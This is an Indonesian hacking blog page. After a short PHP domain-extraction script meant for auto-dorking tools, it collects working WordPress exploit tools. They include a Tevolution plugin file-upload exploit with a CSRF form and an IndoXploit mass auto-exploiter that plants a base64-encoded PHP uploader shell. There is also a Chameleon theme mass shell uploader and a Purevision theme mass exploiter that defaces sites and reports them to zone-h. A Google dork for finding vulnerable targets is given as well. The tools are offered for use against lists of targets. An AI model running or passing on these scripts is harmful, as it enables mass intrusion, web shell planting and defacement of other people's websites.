Home Posts filed under Auto3xploi7ed
Tampilkan postingan dengan label Auto3xploi7ed. Tampilkan semua postingan
Tampilkan postingan dengan label Auto3xploi7ed. Tampilkan semua postingan

Minggu, 17 Juli 2016

Script php untuk mengambil domain dari url

Comment


Script php untuk mengambil domain dari url - Kali ini saya akan berbagi sebuah script php sederhana yang mudah mudahan bisa bermanfaat. Script php tersebut adalah Script php untuk mengambil domain dari url. Script ini sangat berguna untuk membuat tools auto dorking. Jadi ketika robot ngedorking pasti kan akan mengambil URL. Tetapi kita hanya perlu domainnya saja tanpa embel embel dibelakangannya. 

Bagaimana cara mengambil domain dari sebuah url ? script inilah yang dapat membantu.



function getDomainName($url){
 $pieces = parse_url($url);
 $domain = isset($pieces['host']) ? $pieces['host'] : '';
 if(preg_match('/(?P<domain>[a-z0-9][a-z0-9\-]{1,63}\.[a-z\.]{2,6})$/i', $domain, $regs)){
  return $regs['domain'];
 }
 return FALSE;
}

echo getDomainName("http://site .com"); // outputs 'site .com'
echo getDomainName("http://www.3xploi7.blogspot.com"); // outputs '3xploi7.blogspot.com'
echo getDomainName("http://contoh.co"); // outputs 'contoh.co'










Sekian artikel Script php untuk mengambil domain dari url, Semoga bermanfaat buat tools creator :D 

Kamis, 12 Mei 2016

Wordpress Tevolution Plugin File Upload Vulnerability

Comment


#- Title: Wordpress Tevolution Plugin File Upload Vulnerability
#- Author: unknown
#- Date: 2016
#- Developer : templatic
#- Link Download : templatic. com/wordpress-plugins/tevolution
#- Google Dork: inurl:"/plugins/Tevolution/"
#- Fixed in Version : -
#- Tested on : windows
=======================================================
-- Proof Of Concept --

Description : 
The Tevolution WordPress plugin enables advanced functionality in our themes. Some of the features it enables include custom post types, monetization options, custom fields… Cool thing about Tevolution is the fact it’s modular, meaning you can turn off the features you do not need. 

Vulnerability : site/wp-content/plugins/Tevolution/tmplconnector/monetize/templatic-custom_fields/single-upload.php

When Vulnerable :Maybe "Blank" 

-- Method --

CSRF


<form
action="http://3xploi7.blogspot.com/wp-content/plugins/Tevolution/tmplconnector/monetize/templatic-custom_fields/single-upload.php"
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" ><br>
<input type="submit" name="submit" value="3xploi7ed !">
</form>




Tevolution Auto Exploit Coded by IndoXploit


<html>
<center>
<form method="post" enctype="multipart/form-data">
Shellname: <br><input type="text" name='filename' style='width: 500px;' height="10" value='indoxploit.php.xxxjpg' required><br>
Target: <br><textarea name="url" style="width: 500px; height: 200px;" placeholder="http://www.target.com/"></textarea><br>
<input type='submit' name='exp' value='Hajar!' style='width: 500px;'>
</form>
<?php
// IndoXploit
set_time_limit(0);
error_reporting(0);

function buffer() {
 ob_flush();
 flush();
}
function curl($url, $payload) {
 $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
    curl_setopt($ch, CURLOPT_COOKIESESSION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
 $res = curl_exec($ch);
    curl_close($ch);
 return $res;
}
$file = htmlspecialchars($_POST['filename']);
$site = explode("\r\n", $_POST['url']);
$do = $_POST['exp'];
$uploader = base64_decode("PD9waHANCmVjaG8gIkluZG9YcGxvaXQgLSBBdXRvIFhwbG9pdGVyIjsNCmVjaG8gIjxicj4iLnBocF91bmFtZSgpLiI8YnI+IjsNCmVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCcgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQo8aW5wdXQgdHlwZT0nZmlsZScgbmFtZT0naWR4Jz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd1cGxvYWQnIHZhbHVlPSd1cGxvYWQnPg0KPC9mb3JtPiI7DQppZigkX1BPU1RbJ3VwbG9hZCddKSB7DQoJaWYoQGNvcHkoJF9GSUxFU1snaWR4J11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2lkeCddWyduYW1lJ10pKSB7DQoJZWNobyAic3Vrc2VzIjsNCgl9IGVsc2Ugew0KCWVjaG8gImdhZ2FsIjsNCgl9DQp9DQo/Pg==");
if($do) {
 $y = date("Y");
 $m = date("m");
 $idx_dir = mkdir("indoxploit_tools", 0755);
 $shell = "indoxploit_tools/".$file;
 $fopen = fopen($shell, "w");
 fwrite($fopen, $uploader);
 fclose($fopen);
 foreach($site as $url) {
  $target = $url.'/wp-content/plugins/Tevolution/tmplconnector/monetize/templatic-custom_fields/single-upload.php';
  $cek_shell = "$url/wp-content/uploads/$y/$m/$file";
  $data = array(
   "Filedata" => "@$shell"
   );
  $curl = curl($target, $data);
  if($curl) {
   $cek = file_get_contents($cek_shell);
   if(preg_match("/IndoXploit - Auto Xploiter/is", $cek)) {
    echo "<a href='$cek_shell' target='_blank'>$cek_shell</a> -> shellmu<br>";
   }
  }
 buffer();
 }
}
?>

Format Shell > php, php4, php5, php.xxxjpg, php.asp Etc.

If Succesfully  [3xploi7.php4]

Need Shell Path ? Click Here 


Senin, 07 Desember 2015

WordPress Chameleon Auto exploiter

Comment



#- Title : WordPress Chameleon Auto exploiter
#- Coded By : kkk1337
#- Team : Umbrella Security
#- Extension : Php
#- Using this Tool >> php file.php list.txt
#- Example >> file.php = This file name | list.txt = your list target


<?php 


// Coded by KkK1337

// Greetz to: Condor8

// fb: https://www.facebook.com/Cracker1337

// pastebin: http://pastebin.com/u/KkK1337

// don't change rights


echo "chameleon auto-exploiter by KkK1337";


$x=file($argv[1]);

foreach ($x as $sites){
$sites=trim($sites);
$uploadfile="credits.phtml"; 
$ch = curl_init("$sites/wp-content/themes/cameleon/includes/fileuploader/upload_handler.php"); 
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS,array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$waw = curl_exec($ch); 
curl_close($ch); 

if(preg_match("/success/i",$waw)){

print "shell uploaded : $sites \n"; 
$u="$sites/wp-content/uploads/2014/10/credits.phtml"; // Change year and month. Year: 2014 , Month: 10
$ux = "".$u."\r\n"; $save=fopen('new.txt','ab'); fwrite($save,"$ux");

}

else{

echo "Not vuln : $sites\n";

}

}


?>

Jumat, 13 November 2015

Wordpress Purevision Themes Auto Exploiter

Comment

#- Wordpress WP Purevision Themes Mass Exploiter
#- Coded By : Synchronizer
#- Team : Sanjungan Jiwa Team
#- Using this Tool >> php sync.php list.txt
#- Example >> Name.php = This file name | list.txt = your list target

------------------



Code:
<?php
# Wordpress WP Purevision Themes Mass Exploiter
# Coded By : Synchronizer
# Team : Sanjungan Jiwa Team
# Using this Exploit >> php sync.php list.txt
# Example >> Name.php = This file name | list.txt = your list target
# Thanks to : All Member Sanjungan Jiwa Team
 
 
 @set_time_limit(0);
   print"
 
 
   #==============================================================#
   #     Wordpress Purevision Themes Mass & Auto Exploiter        #
   #--------------------------------------------------------------#
   #                 Coded By Synchronizer                        #
   #    Merubah Copyright, tidak menjadikan anda seorang coder    #
   #               WE ARESANJUNGAN JIWA TEAM                      #
   #==============================================================#
 
 
 ";
 
 
echo "\n";
 
$get=file_get_contents($argv[1]);
$j=explode("\r\n",$get);
foreach($j as $site){
echo "\n\n\t[+] Exploiting => ".$site;
 
       
$uploadfile="x.txt"; #Your file (give text Hacked by Your Nickname)
$ch =curl_init($site.'/wp-content/themes/purevision/scripts/admin/uploadify/uploadify.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",'folder'=>"/"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$sync = curl_exec($ch);
curl_close($ch);
$access = ($site).'/'.($uploadfile);
$f_sync=@file_get_contents($access);
if(eregi('Hacked By Synchronizer',$f_sync)){ #Edit this text as your Nick/text on your file x.txt
echo "\n\t[x]".'Success => '.$access."\n";
$ch = curl_init ("http://www.zone-h.com/notify/single");
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($ch, CURLOPT_POST, 1);
        curl_setopt ($ch, CURLOPT_POSTFIELDS, "defacer=./Synchronizer&domain1=http://$access&hackmode=1&reason=1");
        if (preg_match ("/color=\"red\">OK<\/font><\/li>/i", curl_exec ($ch))){
                echo  "\n\t[x] Zone-h => Ok  ". "\n\n";
        }else{
                echo  "\n\t[x] Zone-h => No". "\n\n"; }
    curl_close ($ch);
        }else{
      echo "\n\t[x] ".$site." => Exploiting Failed :( \n\n";
 
 
    }
}
?>
Langganan: Postingan (Atom)